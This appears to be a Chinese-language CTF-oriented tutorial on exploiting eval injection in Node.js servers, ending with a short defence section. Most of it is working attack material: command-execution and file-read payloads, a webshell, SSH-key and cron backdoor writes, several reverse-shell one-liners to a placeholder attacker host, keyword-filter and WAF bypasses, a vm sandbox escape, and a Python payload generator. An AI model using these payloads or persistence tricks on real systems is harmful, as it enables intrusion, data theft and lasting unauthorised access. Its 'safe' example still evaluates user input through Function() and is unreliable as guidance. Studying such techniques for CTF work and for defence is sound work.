前言

Node.js 服务端代码如果直接将用户输入拼入 eval()Function()setTimeout() 等动态执行函数,后果和 PHP 的 eval($_GET['cmd']) 一样致命——攻击者可以执行任意系统命令。但 Node.js 的异步特性、模块系统、以及 require 的动态加载方式,使得 RCE 手法比 PHP 更加多样。

Node.js RCE 的杀伤链:

1
2
3
4
5
用户输入 → 进入 eval()/Function()/vm.run()
→ 获取 require 引用
→ 加载 child_process 模块
→ exec / spawn / execSync
→ 反弹 shell / 读 flag / 内网探测

本文从漏洞代码分析讲起,覆盖同步/异步命令执行、文件读写、反弹 shell、5 大类绕过手法,以及防御方案。


一、漏洞模式 —— 从 eval 注入开始

1.1 经典漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;

// 漏洞点:用户输入直接进入 eval()!
if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
res.render('index', { title: 'tql' });
} else {
res.render('index', { title: eval(evalstring) });
// ^^^^^^^^^^^^^^^^ 任意 JS 代码执行
}
});

module.exports = router;

攻击:

1
2
3
4
5
6
7
8
GET /?eval=1+1
→ 页面显示 2

GET /?eval=require('child_process').execSync('id').toString()
→ WAF 拦截了!exec 被检测到

GET /?eval=require('child_process')['exe'+'cSync']('id').toString()
→ WAF 绕过 → 页面显示 uid=1000(node) gid=1000(node) ...

1.2 其他 eval 等价物

Node.js 中以下函数都能执行任意 JS 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 1. eval —— 最直接
eval('console.log("executed")');

// 2. Function 构造器 —— 创建新函数并执行
new Function('return 1+1')();
Function('console.log("executed")')();

// 3. setTimeout / setInterval —— 传入字符串
setTimeout('console.log("executed")', 0);

// 4. vm 模块 —— 官方"沙箱"(不是安全机制!)
const vm = require('vm');
vm.runInThisContext('console.log("executed")');
vm.runInNewContext('console.log("executed")');

// 5. Script 对象
const script = new vm.Script('console.log("executed")');
script.runInThisContext();
执行方式 作用域 需要 require 常见程度
eval() 当前作用域
new Function() 全局作用域
setTimeout(str, 0) 全局作用域
vm.runInThisContext() 当前 context
vm.runInNewContext() 独立 context

二、命令执行 —— child_process 全解

2.1 同步 vs 异步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
* 同步方法 (Sync):阻塞事件循环直到命令完成,直接返回结果
* 适用场景:需要立即拿到命令输出(读文件、执行短命令)
* 不适用:长时间运行的任务(会阻塞整个 Node.js 进程)
*
* 异步方法:通过回调/Promise 返回结果,不阻塞
* 适用场景:长时间任务、交互式 shell、并发执行
* 不适用:Express handler 中需要直接用返回值渲染页面
*/

// === 同步(Web 端推荐) ===
require('child_process').execSync('id').toString() // 返回 stdout 字符串
require('child_process').spawnSync('cat', ['/flag']).stdout.toString()
require('child_process').execFileSync('/bin/ls', ['-la']).toString()

// === 异步(WebSocket / 后台任务推荐) ===
const { exec, spawn, execFile, fork } = require('child_process');

// exec: 执行 shell 命令,缓冲全部输出后回调
exec('whoami', (error, stdout, stderr) => {
if (error) { console.error(`错误: ${error}`); return; }
console.log(`输出: ${stdout}`);
});

// spawn: 流式执行,适合交互式和大数据量
const child = spawn('bash', ['-c', 'ping -c 4 8.8.8.8']);
child.stdout.on('data', (data) => { console.log(`stdout: ${data}`); });
child.stderr.on('data', (data) => { console.error(`stderr: ${data}`); });
child.on('close', (code) => { console.log(`子进程退出码: ${code}`); });

// execFile: 直接执行可执行文件,不启动 shell(更安全)
execFile('/bin/ls', ['-la', '/'], (error, stdout) => {
console.log(stdout);
});

// fork: 创建新的 Node.js 子进程(父子进程用 IPC 通信)
const childProcess = fork('/tmp/evil.js');
childProcess.send({ cmd: 'start' });

2.2 四大函数对比

函数 同步版本 是否启动 shell 输出方式 适用场景
exec execSync (/bin/sh) 缓冲区(一次性返回) 短命令,需要 shell 特性(管道、重定向)
spawn spawnSync 否(默认) 流(Stream) 长输出、交互式、二进制数据
execFile execFileSync 否(默认) 缓冲区 执行已知可执行文件
fork EventEmitter + IPC 启动新的 Node.js 子进程

推荐在 Web exploit 中使用:

1
2
3
4
5
6
7
8
// 短命令 → execSync(最简单)
require('child_process').execSync('cat /flag').toString()

// 有参数的命令 → spawnSync(数组传参,更安全)
require('child_process').spawnSync('cat', ['/flag']).stdout.toString()

// 带管道的命令 → execSync(唯一支持 shell 语法的同步方法)
require('child_process').execSync('cat /flag | base64').toString()

2.3 读取文件(fs 模块)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 同步读文件(Web RCE 场景首选)
require('fs').readFileSync('/flag').toString()
require('fs').readFileSync('/app/routes/index.js').toString()
require('fs').readFileSync('/flag', 'utf-8') // 指定编码

// 异步读文件
require('fs').readFile('/flag', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});

// 判断文件是否存在
require('fs').existsSync('/flag') // true/false

// 列出目录
require('fs').readdirSync('/').toString() // "bin, boot, dev, etc, flag, ..."

// 一锅端:读源码 + 找 flag
require('child_process').execSync('find / -name "flag*" 2>/dev/null').toString()
require('child_process').execSync('grep -r "flag{" /app/ 2>/dev/null').toString()

2.4 写文件

1
2
3
4
5
6
7
8
9
10
11
// 写 webshell
require('fs').writeFileSync('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')

// 写 SSH key
require('fs').writeFileSync('/root/.ssh/authorized_keys', '\nssh-rsa AAAA...')

// 写 cron 任务
require('fs').writeFileSync('/etc/cron.d/backdoor', '* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/IP/PORT 0>&1"\n')

// 追加内容
require('fs').appendFileSync('/tmp/log', 'new line\n')

三、反弹 Shell

3.1 Node.js 实现反弹 Shell

注意:反弹 shell 是长时间运行的任务,必须使用异步方法,否则会阻塞 Node.js 事件循环导致服务挂起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// === 方法 1: net 模块直连(推荐,最稳定)===
// 在 eval 中执行(一行版):
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4444, "ATTACKER_IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // 防止 Node.js 退出前清理
})();

// === 方法 2: child_process exec + bash 反弹 ===
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

// === 方法 3: 带 pty 的升级 shell ===
require('child_process').spawn('bash', ['-c', 'python3 -c "import pty;pty.spawn(\'/bin/bash\')" | nc ATTACKER_IP 4444']);

// === 方法 4: 使用 /dev/tcp(如果 bash 支持) ===
require('child_process').exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1');

3.2 攻击端准备

1
2
3
4
5
6
7
8
9
# 终端 1: 监听
nc -lvvp 4444

# 终端 2: 升级为全功能 TTY
# 收到 shell 后执行:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

四、绕过 WAF / 关键字过滤

4.1 字符串拼接绕过

这是最简单也最通用的绕过方式(原题核心技术):

1
2
3
4
5
6
7
8
9
10
11
12
13
// exec 被过滤 → 'exe' + 'c' 拼接
require('child_process')['exe' + 'cSync']('id').toString()

// child_process 被过滤
require('child' + '_' + 'process').execSync('id').toString()

// require 被过滤
process.mainModule.constructor._load('child_process').execSync('id').toString()

// 完整 payload 拆分
(function(cm){
return require('chil' + 'd_pr' + 'ocess')[cm]('id').toString();
})('exe' + 'cSync');

4.2 String.fromCharCode 绕过

1
2
3
4
5
6
7
8
// 回到 PHP 时代的手法——用 ASCII 码拼出字符串
const exec = String.fromCharCode(101, 120, 101, 99); // "exec"
const cp = String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115); // "child_process"

require(cp)[exec + 'Sync']('id').toString();

// 一行版
require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115))[String.fromCharCode(101,120,101,99,83,121,110,99)]('id').toString();

4.3 Base64 解码绕过

1
2
3
4
5
6
7
8
9
10
// Buffer.from + base64
const cmd = Buffer.from('Y2F0IC9mbGFn', 'base64').toString();
// Y2F0IC9mbGFn → "cat /flag"

require('child_process').execSync(cmd).toString();

// 一行版
require('child_process').execSync(
Buffer.from('Y2F0IC9mbGFn', 'base64').toString()
).toString();

4.4 动态模块加载 —— 绕过 require 被过滤

方法一:通过 process.mainModule.constructor._load

1
2
3
4
5
6
7
8
9
10
// process.mainModule → 当前的主模块对象
// .constructor → Module 类
// Module._load() → 底层加载模块的方法

const Module = process.mainModule.constructor;
const childProcess = Module._load('child_process');
childProcess.execSync('id').toString();

// 一行版
process.mainModule.constructor._load('child_process').execSync('id').toString();

方法二:通过 module.constructor._load

1
module.constructor._load('child_process').execSync('id').toString();

方法三:通过当前文件目录推导 require 路径

1
2
3
4
// 如果 require 被删除,从 module 对象重建 require 函数
const m = process.mainModule;
const req = m.require || m.constructor.prototype.require;
req('child_process').execSync('id').toString();

方法四:手动构造 Module 实例

1
2
3
4
5
6
// Node.js 内部 Module 机制
const Module = module.constructor;
const m = new Module('');
m._compile('module.exports = require("child_process")', 'evil.js');
// m.exports 现在就是 child_process 模块
m.exports.execSync('id').toString();

4.5 访问底层 C++ Binding —— process.binding

require 被完全移除时,process.binding() 仍可以直接调用 Node.js 的 C++ 层:

1
2
3
4
5
6
7
// 直接调用 C++ 层的 spawn_sync
const spawnSync = process.binding('spawn_sync');
// spawnSync 返回的是 C++ 结构,需要手动解析

// 或者调用 fs 的底层 open/read
const fsBinding = process.binding('fs');
// 更底层,但几乎无法被 JS 层拦截

4.6 Unicode / Hex 编码绕过

1
2
3
4
5
6
7
8
9
// 16 进制转义
require('child_process')['\x65\x78\x65\x63\x53\x79\x6e\x63']('id').toString();
// \x65='e', \x78='x', \x65='e', \x63='c', \x53='S', \x79='y', \x6e='n', \x63='c'

// Unicode 转义
require('child_process')['execSync']('id').toString();

// 八进制转义
eval('\162\145\161\165\151\162\145') // → require

4.7 利用 this 上下文逃逸

1
2
3
4
5
// 在 Function 构造器中,this 指向全局对象
Function('return this.process.mainModule.require("child_process").execSync("id").toString()')();

// 在 vm 沙箱中
vm.runInNewContext('this.constructor.constructor("return this.process")().mainModule.require("child_process").execSync("id").toString()');

五、绕过技巧对比速查

拦截目标 绕过方式 示例
exec 字符串拼接 'exe' + 'cSync'
整个字符串 String.fromCharCode String.fromCharCode(101,120,101,99)
require process.mainModule.constructor._load 见 4.4
child_process fromCharCode 拼出模块名 见 4.2
所有关键字 Base64 + eval eval(Buffer.from('...','base64').toString())
eval Function()() 见 1.2
Function 数组方法构造 [].constructor.constructor("return...")()
ASCII 检测 Unicode / hex 转义 '\x65\x78\x65\x63'
回显过滤 spawnSync().stdout.toString() 无回显则在函数内部反弹 shell

六、CTF 常见攻击链

6.1 经典 eval 注入

1
2
3
4
5
6
7
8
9
发现 eval 注入点
→ 尝试 require('child_process').execSync('id').toString()
→ 被 WAF 拦截?
→ 字符串拼接 / fromCharCode 绕过
→ 拿到 id 回显
→ execSync('cat /flag').toString()
→ 没 flag?
→ execSync('find / -name "flag*" 2>/dev/null').toString()
→ 找到路径 → cat → flag

6.2 无回显 → 反弹 Shell

1
2
3
4
5
6
7
发现 eval 注入点
→ 各种方法执行命令但无回显
→ 确认出网:execSync('curl http://ATTACKER/?test').toString()
→ 攻击机 nc -lvvp 4444
→ 注入反弹 shell payload(见 三)
→ 拿到交互式 shell
→ cat /flag

6.3 不出网 → 写 Web Shell

1
2
3
4
5
发现 eval 注入点
→ 无法出网(CSP/防火墙限制)
→ 找 web 目录:execSync('pwd').toString()
→ 写 webshell: fs.writeFileSync 写入一句话
→ 中国蚁剑/哥斯拉连接

七、自动生成 Payload 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
"""Node.js RCE Payload 生成器"""

def gen_string_concat(method="execSync"):
"""生成字符串拼接版"""
half = len(method) // 2
a = method[:half]
b = method[half:]
return f"""require('child_process')['{a}'+'{b}']('id').toString()"""

def gen_fromcharcode(method="execSync"):
"""生成 fromCharCode 版"""
codes = ','.join(str(ord(c)) for c in method)
return f"""require('child_process')[String.fromCharCode({codes})]('id').toString()"""

def gen_hex(method="execSync"):
"""生成 hex 转义版"""
hex_str = ''.join(f'\\x{ord(c):02x}' for c in method)
return f"""require('child_process')['{hex_str}']('id').toString()"""

def gen_base64(cmd="cat /flag"):
"""生成 base64 命令版"""
import base64
b64 = base64.b64encode(cmd.encode()).decode()
return f"""require('child_process').execSync(Buffer.from('{b64}','base64').toString()).toString()"""

def gen_dynamic_load(method="execSync"):
"""生成动态加载版"""
return f"""process.mainModule.constructor._load('child_process').{method}('id').toString()"""

def gen_reverse_shell(ip, port):
"""生成反弹 shell"""
return f"""(function(){{
var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);
var c=new net.Socket();
c.connect({port},"{ip}",function(){{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);}});
return /a/;
}})()"""

if __name__ == "__main__":
print("[*] 字符串拼接:")
print(gen_string_concat())
print("\n[*] fromCharCode:")
print(gen_fromcharcode())
print("\n[*] Hex 转义:")
print(gen_hex())
print("\n[*] Base64 命令:")
print(gen_base64("cat /flag"))
print("\n[*] 动态加载:")
print(gen_dynamic_load())
print("\n[*] 反弹 Shell:")
print(gen_reverse_shell("10.0.0.1", 4444))

八、防御措施

层面 措施 说明
代码层 永远不要将用户输入传入 eval()/Function()/vm.run() 没有”安全地使用 eval”这回事
代码层 如果必须动态执行,用静态解析(如 JSON.parse)而非 eval 数据序列化用 JSON,不要用 JS
代码层 安全处理模板变量 模板引擎默认转义,不要用 eval 做表达式求值
代码层 输入白名单 只允许预定义的合法值
运行时 Node.js 20+ 权限模型 --experimental-permission --allow-fs-read=/app/
运行时 移除 require 引用 在沙箱中不暴露 requireprocess 等全局对象
系统层 最小权限运行 USER node,不要以 root 运行 Node.js
系统层 /tmp 挂载 noexec 防止执行上传的恶意脚本
网络层 限制 Node.js 进程的外连 iptables 限制出站,只允许必要端口

安全输入校验示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ❌ 危险:直接 eval
app.get('/calc', (req, res) => {
res.send(String(eval(req.query.expr)));
});

// ✅ 安全:只允许数字运算
app.get('/calc', (req, res) => {
const expr = req.query.expr;
if (!/^[\d+\-*/(). ]+$/.test(expr)) {
return res.status(400).send('Invalid expression');
}
// 使用安全的表达式求值库,如 mathjs(需审计其安全性)
res.send(String(Function('"use strict"; return (' + expr + ')')()));
});

Node.js 权限模型(v20+)

1
2
3
4
5
# 仅允许读取 app 目录,禁止 child_process、fs.write
node --experimental-permission \
--allow-fs-read=/app/ \
--allow-child-process=0 \
server.js

参考